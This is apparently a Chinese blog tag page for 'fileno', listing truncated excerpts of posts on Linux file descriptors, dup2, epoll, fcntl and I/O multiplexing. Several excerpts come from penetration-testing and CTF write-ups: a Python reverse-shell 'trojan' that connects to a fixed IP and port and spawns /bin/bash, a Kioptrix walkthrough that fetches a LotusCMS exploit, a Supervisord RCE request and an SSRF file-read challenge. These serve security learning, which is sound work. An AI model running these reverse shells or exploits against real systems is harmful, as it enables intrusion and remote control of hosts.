首页 > TAG信息列表 > fileno

轻量级SpringBoot Office文档在线预览框架

框架简介 介绍:基于开源项目KkFileView源码提取出,封装成仅用于 Office文档预览(格式转换) 功能的一个通用组件; 原理是把Word转成PDF,PPT转成PDF,Excel转成HTML; 利用浏览器可以直接打开PDF和HTML的特点实现在线预览; 环境安装:目前支持OpenOffice或LibreOffice实现文档格式转换,

Stanford CS142: Web Applications Week2 JavaScript

目录基本语法变量的作用域注意事项数字字符串布尔值undefined和null函数Object类型数组日期正则表达式异常在Web页面中使用JavaScriptJavaScript的面向对象定义类this函数函数的属性函数的方法面向对象编程原型与对象实例继承ECMAScript6的新内容函数式编程闭包JSONJavaScript的一

文件描述符

文件描述符概念 在 Linux 的世界里,一切设备皆文件。我们可以系统调用中 I/O 的函数(I:input,输入;O:output,输出),对文件进行相应的操作( open()、close()、write() 、read() 等)。 打开现存文件或新建文件时,系统(内核)会返回一个文件描述符,文件描述符用来指定已打开的文件。这个文件描述

kioprtix level 1.2

kioprtix level 1.2 存活探测+端口扫描 访问80 同时做一个目录扫描 发现 http://10.0.4.18/phpmyadmin/index.php 指纹识别 cms漏洞查找 测试代码执行,存在漏洞 反弹shell github找到poc git clone https://github.com/Hood3dRob1n/LotusCMS-Exploit git clone https://github

dup2复制标准输出无法正常工作.

将标准输出/标准错误关闭,再 "重定向" 到 pipe() 打开的描述符. 遇到一个问题,pipe() 之后, 标准输出不起作用. 错误代码: int pipefd[2]; // ... close(STDIN_FILENO); close(STDOUT_FILENO); close(STDERR_FILENO); pipe(pipefd); dup2(pipefd[1], STDOUT_FILENO); write(STDOU

Linux nohup、&、 2>&1 含义

nohup nohup命令用于不挂断地运行命令(关闭当前session不会中断改程序,只能通过kill等命令删除)。使用nohup命令提交作业,那么在缺省情况下该作业的所有输出都被重定向到一个名为nohup.out的文件中,除非另外指定了输出文件。 & &用于后台执行程序,但是关闭当前session程序也会结束 2>$1

Supervisord RCE(CVE-2017-11610)

打开是这个页面 直接发送如下数据包 POST /RPC2 HTTP/1.1 Host: 192.168.134.132:9001 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Acc

简单理解socket(socket.AF_INET,socket.SOCK_STRE,os.dup2(s.fileno(),0),subprocess.call([“/bin/bash“,“-i“])

前言:因为最近学习渗透时,使用python编写了一个木马,但是对里面的函数/方法功能并不了解,于是查阅资料,总算有了一定了解,于是记录下来 木马文件如下: import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.commect(("192.168.75.128",9988)) os.d

python之模拟io模式

环境:python3.8参考:    https://segmentfault.com/a/1190000003063859(linux io模式等,本文的原理图片来自这个 )    https://blog.csdn.net/zhuangzi123456/article/details/84400108(select的使用)    https://blog.51cto.com/linzb/1911468(以前的笔记)本文所有模型的客户端

[网鼎杯 2020 白虎组]PicDown

抓包发现参数是url,猜测ssrf 无回显,测试无果 注意到后面的目录没有php字样,应该不是php写的,有可能是py或者node.js 我试了试文件包含 ?????????我甚至都没用目录穿越 这不傻逼么 题目应该没那么简单,我去搜搜wp 果然没那么简单 先读去绝对路径 /proc/self/cmdline python2 写的flas

Python 标准库之 fcntl

    在 linux 环境下用 Python 进行项目开发过程中经常会遇到多个进程对同一个文件进行读写问题,而此时就要对文件进行加锁控制,在 Python 的 linux 版本下有个 fcntl 模块可以方便的对文件进行加、解锁控制。 import fcntl file_path = "/home/ubuntu/aaa.json" f = open(fi

彻底学会使用epoll(三)——ET的读操作实例分析

转自:风吹过夏天的ChinaUnix博客 首先看程序一,这个程序想要实现的功能是当用户从控制台有任何输入操作时,输出”hello world!”。 l 程序一 #include <unistd.h> #include <iostream> #include <sys/epoll.h> using namespace std; int main(void) {     int epfd,nfds;

彻底学会使用epoll(四)——ET的写操作实例分析

转自:风吹过夏天的ChinaUnix博客 首先,看程序四的例子。 l 程序四 #include <unistd.h> #include <iostream> #include <sys/epoll.h> using namespace std; int main(void) {     int epfd,nfds;     struct epoll_event ev,events[5];//ev用于注册事件,数组用于返回

IO多路复用

I/O多路复用(multiplexing)的本质是通过一种机制(系统内核缓冲I/O数据),让单个进程可以监视多个文件描述符,一旦某个描述符就绪(一般是读就绪或写就绪),能够通知程序进行相应的读写操作。 select、poll 和 epoll 都提供的 IO 复用方式。 (1)select,poll实现需要自己不断轮询所有fd集合,直到设备

非阻塞读和写:str_cli函数(修订版)

void str_cli(FILE *fp, int sockfd){ int maxfdp1, val, stdineof; ssize_t n, nwritten; fd_set rset, wset; char to[MAXLINE], fr[MAXLINE]; char *toiptr, *tooptr, *friptr, *froptr; val = fcntl(sockfd, F_GETFL, 0);

通过dup2实现linux命令回显的捕获

前言 在bash代码中,看到关闭了一个fd后,屏幕上才出现linux命令执行后的回显内容. 做了一个试验,实现了回显数据的捕获。 实现思路: dup2重定向stdin到自己建立的管道 select管道,如果有数据就读取管道中的数据,并转发. 如果超时,就跳出. 做了好久的试验,终于达到预期的效果了:) demo

使用dup,dup2重定向的试验

前言 想在bash修改版代码中得到执行用户输入命令后的回显数据,没调通。管道中没有数据, 应该是找到的fd不对。 bash代码执行用户输入的命令后,具体命令回显用的是重定向。 重定向用linuxC实现时,用的是dup和dup2. 从头做个试验,体会一下dup和dup2的效果。 本来可以在sshd代码中尝

Linux系统调用下的文件I/O编程

一 点睛 在Linux下对文件进行输入输出操作(I/O操作)有3中编程方式。 1 调用C库中文件的I/O函数,比如fopen、fread、fwrite、fclose等。 2 使用Linux的系统调用 3 C++文件流的操作 二 I/O介绍 I/O就是输入/输出,它是主存和外部设备(比如硬盘和U盘)之间复制数据的过程,其中数据从设